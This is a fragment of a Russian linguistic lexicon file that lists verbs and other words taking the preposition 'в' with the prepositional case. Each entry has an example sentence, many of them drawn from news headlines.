rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ)
rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ)
rus_verbs:ВЫСТОЯТЬ{},
rus_verbs:ПОСТОЯТЬ{},
rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ)
rus_verbs:ВЗВЕШИВАТЬ{},
rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ)
прилагательное:быстрый{}, // Кисель быстр в приготовлении
rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень
rus_verbs:призывать{},
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ)
rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ)
rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ)
rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ)
rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ)
rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ)
rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ)
rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ)
rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ)
rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ)
rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ)
rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения
rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ)
rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ)
rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ)
rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ)
rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ)
rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ)
rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ)
rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ)
rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ)
rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ)
rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ)
rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА
rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ)
rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ)
rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ)
rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ)
rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ)
rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль
rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение
rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ)
инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан
глагол:проводить{ вид:несоверш },
деепричастие:проводя{},
rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала
rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл)
rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл)
rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл)
rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл)
rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл)
rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл)
rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл)
rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл)
rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл)
rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл)
rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл)
rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл)
rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл)
rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл)
прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В)
rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл)
rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл)
rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл)
rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл)
rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл)
rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл)
rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл)
rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл)
rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В)
rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В)
rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл)
rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В)
rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл)
rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл)
rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В)
rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл)
rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл)
rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В)
rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл)
rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В)
rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В)
rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В)
rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В)
rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл)
rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В)
частица:нет{}, // В этом нет сомнения.
частица:нету{}, // В этом нету сомнения.
rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем
rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов.
прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В)
rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В)
rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В)
rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В)
rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл)
rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В)
rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в)
rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В)
rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В)
rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В)
rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В)
rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В)
rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В)
rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В)
rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В)
rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В)
rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В)
rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В)
rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В)
rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В)
rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:РАСКЛАДЫВАТЬСЯ{},
rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В)
rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В)
rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В)
rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В)
rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл)
rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В)
rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В)
инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В)
глагол:НАПИСАТЬ{ aux stress="напис^ать" },
прилагательное:НАПИСАННЫЙ{},
rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В)
rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В)
rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В)
rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В)
rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В)
rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В)
rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл)
rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл)
rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В)
безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в)
rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В)
rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В)
rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В)
rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В)
rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В)
rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В)
rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В)
rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В)
rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В)
rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В)
rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В)
rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В)
rus_verbs:объявить{}, // В газете объявили о конкурсе.
rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В)
rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В)
rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в)
rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в)
rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в)
rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в)
инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В)
глагол:ПАРИТЬ{ aux stress="пар^ить"},
деепричастие:паря{ aux stress="пар^я" },
прилагательное:ПАРЯЩИЙ{},
прилагательное:ПАРИВШИЙ{},
rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В)
rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В)
rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в)
rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В)
rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В)
rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В)
rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В)
rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В)
rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В)
rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в)
rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в)
rus_verbs:принять{}, // Документ принят в следующей редакции (принять в)
rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в)
rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В)
rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в)
rus_verbs:звучать{}, // в доме звучала музыка (звучать в)
rus_verbs:колебаться{}, // колеблется в выборе (колебаться в)
rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в)
rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в)
rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в)
rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в)
rus_verbs:вычитывать{}, // вычитывать в книге
rus_verbs:гудеть{}, // У него в ушах гудит.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки.
rus_verbs:разойтись{}, // Они разошлись в темноте.
rus_verbs:прибежать{}, // Мальчик прибежал в слезах.
rus_verbs:биться{}, // Она билась в истерике.
rus_verbs:регистрироваться{}, // регистрироваться в системе
rus_verbs:считать{}, // я буду считать в уме
rus_verbs:трахаться{}, // трахаться в гамаке
rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке
rus_verbs:разрушать{}, // разрушать в дробилке
rus_verbs:засидеться{}, // засидеться в гостях
rus_verbs:засиживаться{}, // засиживаться в гостях
rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке)
rus_verbs:навестить{}, // навестить в доме престарелых
rus_verbs:запомнить{}, // запомнить в кэше
rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.)
rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка)
rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику.
rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.)
rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу
rus_verbs:оглядываться{}, // оглядываться в зеркале
rus_verbs:нарисовать{}, // нарисовать в тетрадке
rus_verbs:пробить{}, // пробить отверствие в стене
rus_verbs:повертеть{}, // повертеть в руке
rus_verbs:вертеть{}, // Я вертел в руках
rus_verbs:рваться{}, // Веревка рвется в месте надреза
rus_verbs:распространяться{}, // распространяться в среде наркоманов
rus_verbs:попрощаться{}, // попрощаться в здании морга
rus_verbs:соображать{}, // соображать в уме
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати
rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот)
rus_verbs:разобрать{}, // разобрать в гараже
rus_verbs:помереть{}, // помереть в пути
rus_verbs:различить{}, // различить в темноте
rus_verbs:рисовать{}, // рисовать в графическом редакторе
rus_verbs:проследить{}, // проследить в записях камер слежения
rus_verbs:совершаться{}, // Правосудие совершается в суде
rus_verbs:задремать{}, // задремать в кровати
rus_verbs:ругаться{}, // ругаться в комнате
rus_verbs:зазвучать{}, // зазвучать в радиоприемниках
rus_verbs:задохнуться{}, // задохнуться в воде
rus_verbs:порождать{}, // порождать в неокрепших умах
rus_verbs:отдыхать{}, // отдыхать в санатории
rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении
rus_verbs:образовать{}, // образовать в пробирке темную взвесь
rus_verbs:отмечать{}, // отмечать в списке
rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте
rus_verbs:плясать{}, // плясать в откружении незнакомых людей
rus_verbs:повысить{}, // повысить в звании
rus_verbs:поджидать{}, // поджидать в подъезде
rus_verbs:отказать{}, // отказать в пересмотре дела
rus_verbs:раствориться{}, // раствориться в бензине
rus_verbs:отражать{}, // отражать в стихах
rus_verbs:дремать{}, // дремать в гамаке
rus_verbs:применяться{}, // применяться в домашних условиях
rus_verbs:присниться{}, // присниться во сне
rus_verbs:трястись{}, // трястись в драндулете
rus_verbs:сохранять{}, // сохранять в неприкосновенности
rus_verbs:расстрелять{}, // расстрелять в ложбине
rus_verbs:рассчитать{}, // рассчитать в программе
rus_verbs:перебирать{}, // перебирать в руке
rus_verbs:разбиться{}, // разбиться в аварии
rus_verbs:поискать{}, // поискать в углу
rus_verbs:мучиться{}, // мучиться в тесной клетке
rus_verbs:замелькать{}, // замелькать в телевизоре
rus_verbs:грустить{}, // грустить в одиночестве
rus_verbs:крутить{}, // крутить в банке
rus_verbs:объявиться{}, // объявиться в городе
rus_verbs:подготовить{}, // подготовить в тайне
rus_verbs:различать{}, // различать в смеси
rus_verbs:обнаруживать{}, // обнаруживать в крови
rus_verbs:киснуть{}, // киснуть в захолустье
rus_verbs:оборваться{}, // оборваться в начале фразы
rus_verbs:запутаться{}, // запутаться в веревках
rus_verbs:общаться{}, // общаться в интимной обстановке
rus_verbs:сочинить{}, // сочинить в ресторане
rus_verbs:изобрести{}, // изобрести в домашней лаборатории
rus_verbs:прокомментировать{}, // прокомментировать в своем блоге
rus_verbs:давить{}, // давить в зародыше
rus_verbs:повториться{}, // повториться в новом обличье
rus_verbs:отставать{}, // отставать в общем зачете
rus_verbs:разработать{}, // разработать в лаборатории
rus_verbs:качать{}, // качать в кроватке
rus_verbs:заменить{}, // заменить в двигателе
rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере
rus_verbs:забегать{}, // забегать в спешке
rus_verbs:наделать{}, // наделать в решении ошибок
rus_verbs:исказиться{}, // исказиться в кривом зеркале
rus_verbs:тушить{}, // тушить в помещении пожар
rus_verbs:охранять{}, // охранять в здании входы
rus_verbs:приметить{}, // приметить в кустах
rus_verbs:скрыть{}, // скрыть в складках одежды
rus_verbs:удерживать{}, // удерживать в заложниках
rus_verbs:увеличиваться{}, // увеличиваться в размере
rus_verbs:красоваться{}, // красоваться в новом платье
rus_verbs:сохраниться{}, // сохраниться в тепле
rus_verbs:лечить{}, // лечить в стационаре
rus_verbs:смешаться{}, // смешаться в баке
rus_verbs:прокатиться{}, // прокатиться в троллейбусе
rus_verbs:договариваться{}, // договариваться в закрытом кабинете
rus_verbs:опубликовать{}, // опубликовать в официальном блоге
rus_verbs:охотиться{}, // охотиться в прериях
rus_verbs:отражаться{}, // отражаться в окне
rus_verbs:понизить{}, // понизить в должности
rus_verbs:обедать{}, // обедать в ресторане
rus_verbs:посидеть{}, // посидеть в тени
rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете
rus_verbs:свершиться{}, // свершиться в суде
rus_verbs:ночевать{}, // ночевать в гостинице
rus_verbs:темнеть{}, // темнеть в воде
rus_verbs:гибнуть{}, // гибнуть в застенках
rus_verbs:усиливаться{}, // усиливаться в направлении главного удара
rus_verbs:расплыться{}, // расплыться в улыбке
rus_verbs:превышать{}, // превышать в несколько раз
rus_verbs:проживать{}, // проживать в отдельной коморке
rus_verbs:голубеть{}, // голубеть в тепле
rus_verbs:исследовать{}, // исследовать в естественных условиях
rus_verbs:обитать{}, // обитать в лесу
rus_verbs:скучать{}, // скучать в одиночестве
rus_verbs:сталкиваться{}, // сталкиваться в воздухе
rus_verbs:таиться{}, // таиться в глубине
rus_verbs:спасать{}, // спасать в море
rus_verbs:заблудиться{}, // заблудиться в лесу
rus_verbs:создаться{}, // создаться в новом виде
rus_verbs:пошарить{}, // пошарить в кармане
rus_verbs:планировать{}, // планировать в программе
rus_verbs:отбить{}, // отбить в нижней части
rus_verbs:отрицать{}, // отрицать в суде свою вину
rus_verbs:основать{}, // основать в пустыне новый город
rus_verbs:двоить{}, // двоить в глазах
rus_verbs:устоять{}, // устоять в лодке
rus_verbs:унять{}, // унять в ногах дрожь
rus_verbs:отзываться{}, // отзываться в обзоре
rus_verbs:притормозить{}, // притормозить в траве
rus_verbs:читаться{}, // читаться в глазах
rus_verbs:житься{}, // житься в деревне
rus_verbs:заиграть{}, // заиграть в жилах
rus_verbs:шевелить{}, // шевелить в воде
rus_verbs:зазвенеть{}, // зазвенеть в ушах
rus_verbs:зависнуть{}, // зависнуть в библиотеке
rus_verbs:затаить{}, // затаить в душе обиду
rus_verbs:сознаться{}, // сознаться в совершении
rus_verbs:протекать{}, // протекать в легкой форме
rus_verbs:выясняться{}, // выясняться в ходе эксперимента
rus_verbs:скрестить{}, // скрестить в неволе
rus_verbs:наводить{}, // наводить в комнате порядок
rus_verbs:значиться{}, // значиться в документах
rus_verbs:заинтересовать{}, // заинтересовать в получении результатов
rus_verbs:познакомить{}, // познакомить в непринужденной обстановке
rus_verbs:рассеяться{}, // рассеяться в воздухе
rus_verbs:грохнуть{}, // грохнуть в подвале
rus_verbs:обвинять{}, // обвинять в вымогательстве
rus_verbs:столпиться{}, // столпиться в фойе
rus_verbs:порыться{}, // порыться в сумке
rus_verbs:ослабить{}, // ослабить в верхней части
rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки
rus_verbs:спастись{}, // спастись в хижине
rus_verbs:прерваться{}, // прерваться в середине фразы
rus_verbs:применять{}, // применять в повседневной работе
rus_verbs:строиться{}, // строиться в зоне отчуждения
rus_verbs:путешествовать{}, // путешествовать в самолете
rus_verbs:побеждать{}, // побеждать в честной битве
rus_verbs:погубить{}, // погубить в себе артиста
rus_verbs:рассматриваться{}, // рассматриваться в следующей главе
rus_verbs:продаваться{}, // продаваться в специализированном магазине
rus_verbs:разместиться{}, // разместиться в аудитории
rus_verbs:повидать{}, // повидать в жизни
rus_verbs:настигнуть{}, // настигнуть в пригородах
rus_verbs:сгрудиться{}, // сгрудиться в центре загона
rus_verbs:укрыться{}, // укрыться в доме
rus_verbs:расплакаться{}, // расплакаться в суде
rus_verbs:пролежать{}, // пролежать в канаве
